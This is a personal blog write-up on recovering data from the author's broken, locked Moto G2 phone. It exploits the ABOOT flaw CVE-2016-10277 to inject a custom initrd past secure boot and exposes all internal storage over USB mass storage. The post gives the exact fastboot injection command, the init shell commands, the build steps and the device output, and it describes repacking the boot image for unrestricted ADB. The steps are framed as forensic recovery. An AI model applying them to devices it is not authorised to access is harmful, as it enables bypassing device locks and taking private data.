Using the Android USB Driver to Extract Data as USB Mass Storage Device

Due to a harware failure I was searching for a conventient and efficient way to copy all internal storage of a mostly broken, powered off, hardware locked, encrypted phone. The only things still working to interact with the phone were the USB connector and power on/volume keys. It was not possible to use the touch screen, extract any partition data via fastboot, access the ADB interface, connect via WIFI or use any other common remote access methods. It might have been possible to just screw it open and reattach the display cable, replace the display or see if OTG support would allow plugging of a keyboard or mouse. But those high-tech tools (tiny screw driver, OTG-cable, keyboard) were not at hand, but a notebook and software was.

As a result of solving this problem the software way a simple program to inject as initrd into ABOOT to regain full control of the phone was developed. The main advantage of this solution is to get a near forensic quality snapshot of the complete storage including the partition table, boot image, recovery images, all firmware update slots without running the target system, a replacement system with ADB or any other generic tools.

Breaking Secure Boot

While the hardware of the Motorola phone was mostly broken, the power and volume-down button were still working. Therefore it was possible to switch on the phone and enter the fastboot mode. Thus the phone hardware became visible via USB to interact with it using the fastboot tools [FastBoot].

Unfortunately due to the device hardware being locked and secure boot enabled, partition data could not be dumped or custom built firmware images flashed, as they would fail the signature checks. I already thought about attempting to downgrade the firmware to the oldest version for that device and then try to find or develop an USB-only exploit to get into the running phone stuck at the first password prompt to decrypt the internal storage, but this might have been a big challenge. Also extracting the hardware from the phone to tamper it seemed really complicated.

(Luckily) the OEM extensions to the Android boot (ABOOT) software contained an interesting flaw [ABootOemExploit] discovered 2016 and published 2017 by Roee Hay from Aleph Research for Nexus 6. The exploit also works nicely on the Moto G2 XT1072 in question, which was released March 2015. It seems that the device did not receive critical security updates any more 2 years and 2 month after release. It is not clear how long the device was sold by Motorola so the time from buying it to receiving the last security update might have been much shorter.

The exploit for [CVE-2016-10277] allows to gain privileged access to the boot process by injecting an alternative initrd after secure boot signatures were checked. The exploit is atypically in that way, that it is very easy to apply. To confirm successful exploitation I created a static binary with an endless loop, added it as "/init" to an initrd and injected that initrd. Instead of rebooting immediately, the device got stuck in the init program loop with the brand boot splash image being displayed forever.

As a next step a meaningful initrd had to be created to extract the data. The paper suggested building a full Android system to create a "usertest" type initrd with ADB enabled by default and then gain root via ADB. Building a whole Android system seemed too cumbersome, time and resource consuming to me when not being experienced in the build process. Apart from that the image may still not run properly due to wrong build parameters.

An alternative approach would have been to extract an initrd from a suitable boot image and backdoor it manually. But I could not find a source for the boot image currently installed on the phone and generic images, e.g. LinageOS, did not work properly. Thus as a first step extracting the boot image from the phone would really help.

Data Extraction Made Easy

The next step was to find an easy way to extract the data. As an Android system programming newby I first thought about exposing the debugging console over USB. As I did not find anything about that I started looking into the "sysfs". As on notebooks it may allow easy control of hardware e.g. the screen brightness. On the Motorol phone the file "/sys/class/leds/white/brightness" provided access to the indicator LED at the front of the phone. Flashing the led a number of times was useful for extracting a few bits (not bytes) of data, mainly to verify the existence of files and to report error codes to fix errors in my test program.

To find interfaces similar to "/sys/class/leds/white/brightness" but with higher bandwidth, I started searching in the Android source code. Some part of the interface initialization was found in "init.rc" and "init.mmi.rc", files that can be found on the initrd too. But more interesting was "init.mmi.usb.rc" which performs USB related initialization.

on init write /sys/class/android_usb/android0/f_rndis/wceis 1 # Mount Points for External Storage Devices mkdir /mnt/media_rw/usbdisk 0700 media_rw media_rw mkdir /storage/usbdisk 0700 root root on boot write /sys/class/android_usb/android0/iManufacturer ${ro.product.manufacturer} write /sys/class/android_usb/android0/iProduct ${ro.product.model} write /sys/class/android_usb/android0/f_mass_storage/vendor ${ro.product.manufacturer} write /sys/class/android_usb/android0/f_mass_storage/product ${ro.product.model} ...

Writing to the manufacturer, product and serial number sysfs files allowed to expose up to 126 bytes of data per USB device descriptor via the USB interface to extract them on the host side. This was already a great improvement compared to the few bits extracted via LED blinking. Still for extraction of a whole storage partition the bandwidth of using USB device descriptor strings seemed still too limited.

Therefore the next attempt was to enable the "usbnet" functionality, set up the network stack and exfiltrate the data over network. But the complexity of this approach seemed too high for quick results, even making the PC detect an USB network interface did not succeed. But while researching how USB network components play together, instead I found out how the mass storage USB interface works. Compared to the network method it does not require any other user space code and therefore is easy to apply. How to use the mass storage interface was inspired by an article using bogus mass storage identifiers to hack IoT devices [CarveSystemsInjection]. Written as shell code the commands to expose all internal storage via USB are:

mkdir /dev mknod /dev/mmcblk0 b 179 0 mkdir /sys mount -t sysfs sysfs /sys echo 1 > /sys/class/android_usb/android0/f_rndis/wceis echo A > /sys/class/android_usb/android0/iManufacturer echo B > /sys/class/android_usb/android0/iProduct echo C > /sys/class/android_usb/android0/f_mass_storage/vendor echo D > /sys/class/android_usb/android0/f_mass_storage/product echo E > /sys/class/android_usb/android0/iSerial echo 0 > /sys/class/android_usb/android0/enable echo 0x05c6 > /sys/class/android_usb/android0/idProduct echo 0x9026 > /sys/class/android_usb/android0/idVendor echo internal > /sys/class/diag/diag/logging_mode echo diag > /sys/class/android_usb/android0/f_diag/clients echo smd,tty > /sys/class/android_usb/android0/f_serial/transports echo smd,bam > /sys/class/android_usb/android0/f_rmnet/transports echo /dev/mmcblk0 > /sys/class/android_usb/android0/f_mass_storage/lun/file echo mass_storage > /sys/class/android_usb/android0/functions echo 1 > /sys/class/android_usb/android0/enable sleep 123456

The commands from above were run using a custom, static "init" program compiled from exfiltrate-as-mass-storage.c (158 lines). The program will make the phone show up as mass storage device during boot. The complete internal storage is available for reading including the partition table and all 42 partitions of the Android system.

# Compile the program. $ /usr/bin/arm-linux-gnueabihf-gcc -march=armv7-a exfiltrate-as-mass-storage.c -static -o init $ echo init | fakeroot -- cpio -o -H newc | gzip -9 > initrd.gz 823 blocks $ platform-tools/fastboot oem config fsg-id "a initrd=0x11000000,$(stat "--format=%s" initrd.gz)" (bootloader) <UTAG> (bootloader) <name="fsg-id"/> (bootloader) <type="str"/> (bootloader) <protected=false/> (bootloader) <value> (bootloader) a initrd=0x11000000,220859 (bootloader) </value> (bootloader) <description> (bootloader) FSG IDs, see http://goo.gl/gPmhU (bootloader) </description> (bootloader) </UTAG> OKAY [ 0.045s] Finished. Total time: 0.045s # The flash command will fail as the phone is locked. This is # expected. $ platform-tools/fastboot flash initrd initrd.gz (bootloader) has-slot:initrd: not found (bootloader) is-logical:initrd: not found Sending 'initrd' (215 KB) OKAY [ 0.064s] Writing 'initrd' (bootloader) Permission denied FAILED (remote: '') fastboot: error: Command failed $ platform-tools/fastboot continue Resuming boot OKAY [ 0.001s] Finished. Total time: 0.001s $ dmesg ... [61015.729639] usb 2-1: USB disconnect, device number 44 [61023.864754] usb 2-1: new high-speed USB device number 45 using xhci_hcd [61024.013699] usb 2-1: New USB device found, idVendor=9026, idProduct=05c6, bcdDevice= 2.28 [61024.013704] usb 2-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3 [61024.013706] usb 2-1: Product: AProduct [61024.013708] usb 2-1: Manufacturer: Exfiltrate [61024.013709] usb 2-1: SerialNumber: BSerial [61024.015064] usb-storage 2-1:1.0: USB Mass Storage device detected [61024.015514] scsi host3: usb-storage 2-1:1.0 [61025.029249] scsi 3:0:0:0: Direct-Access ShortStr AProduct 0001 PQ: 0 ANSI: 2 [61025.029543] sd 3:0:0:0: Attached scsi generic sg1 type 0 [61025.029975] sd 3:0:0:0: Power-on or device reset occurred [61025.030258] sd 3:0:0:0: [sdb] 15269888 512-byte logical blocks: (7.82 GB/7.28 GiB) [61025.030389] sd 3:0:0:0: [sdb] Write Protect is off [61025.030392] sd 3:0:0:0: [sdb] Mode Sense: 0f 00 00 00 [61025.030509] sd 3:0:0:0: [sdb] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA [61025.113391] sdb: sdb1 sdb2 sdb3 sdb4 sdb5 sdb6 sdb7 sdb8 sdb9 sdb10 sdb11 sdb12 sdb13 sdb14 sdb15 sdb16 sdb17 sdb18 sdb19 sdb20 sdb21 sdb22 sdb23 sdb24 sdb25 sdb26 sdb27 sdb28 sdb29 sdb30 sdb31 sdb32 sdb33 sdb34 sdb35 sdb36 sdb37 sdb38 sdb39 sdb40 sdb41 sdb42 [61025.117274] sd 3:0:0:0: [sdb] Attached SCSI removable disk $ xxd -a /dev/sdb | more 00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................ * 000001c0: 0100 eeff ffff 0100 0000 ffff ffff 0000 ................ 000001d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000001e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000001f0: 0000 0000 0000 0000 0000 0000 0000 55aa ..............U. 00000200: 4546 4920 5041 5254 0000 0100 5c00 0000 EFI PART....\... ...

On Android "/dev/mem" seems to be disabled during kernel compilation, creating and opening device results in ENXIO. Therefore switching the internal storage block device with "/dev/mem" was not suitable to provide an interesting remote access to the physical memory for debugging.

After extracting the current boot image from the phone, the boot image was split using the "abootimg" tool (Debian package available), the initrd unpacked, modified to enable unrestricted ADB access unconditionally on startup, repacked, injected into the boot process and ADB connection established to access some apps for the last time to extract data without emulating the device. Now without proper display and touchscreen but flashed anew the device may serve some more years in internal network as a low power embedded system, sensor platform.

References:

Notes:

Comments are welcome, but there is no forum system im place yet. If there is something important to be added to this page, please send it as e-mail. Legal: Appropriate comments will be published, there is no right for you to get them published, use a "Nick:" entry in your comment otherwise for attribution "Anonymous" is used, comment mails are deleted after processing (GDPR), IPR rights for your comment stay with you except that the content may be used to correct or improve the page while referencing to your comment as source of the change, comment data is not submitted to third parties. Phuuu, inhale!